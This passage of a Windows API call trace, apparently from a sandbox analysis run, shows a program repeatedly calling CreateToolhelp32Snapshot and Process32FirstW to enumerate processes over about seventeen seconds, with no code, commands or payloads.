cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.966] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0070.972] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.190] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0071.195] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.462] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0071.467] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.657] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0071.662] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0071.847] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0072.032] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0072.248] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.519] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0072.525] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.744] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0072.749] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.976] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0072.981] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0073.196] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0073.492] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.743] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0073.748] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.930] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0073.935] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0074.170] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.411] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0074.415] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.625] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0074.630] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.849] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0074.853] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.069] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0075.073] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.287] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0075.292] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0075.776] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0076.008] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0076.227] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0076.431] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0076.629] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0076.889] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.098] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0077.103] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.330] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0077.335] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.767] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0077.772] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.031] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0078.036] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0078.268] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.486] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0078.491] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.720] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0078.724] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.953] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0078.958] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0079.161] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.415] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0079.419] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0079.800] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0080.117] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.344] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0080.348] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.579] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0080.610] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.824] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0080.833] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.041] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0081.046] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.213] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0081.228] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.424] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0081.447] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0081.791] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0082.024] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0082.029] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0082.241] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0082.269] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0082.472] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0082.511] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0082.714] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0082.725] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0082.934] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0082.938] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0083.205] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0083.399] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0083.769] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0083.773] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.085] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0084.091] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.491] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0084.509] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0084.725] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.930] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0084.946] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0085.227] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0085.508] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.789] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0085.792] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0086.007] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.144] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0086.148] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) [0086.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0086.323] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.540] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0086.543] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.721] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0086.725] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.881] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0086.885] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.056] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0087.074] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.279] 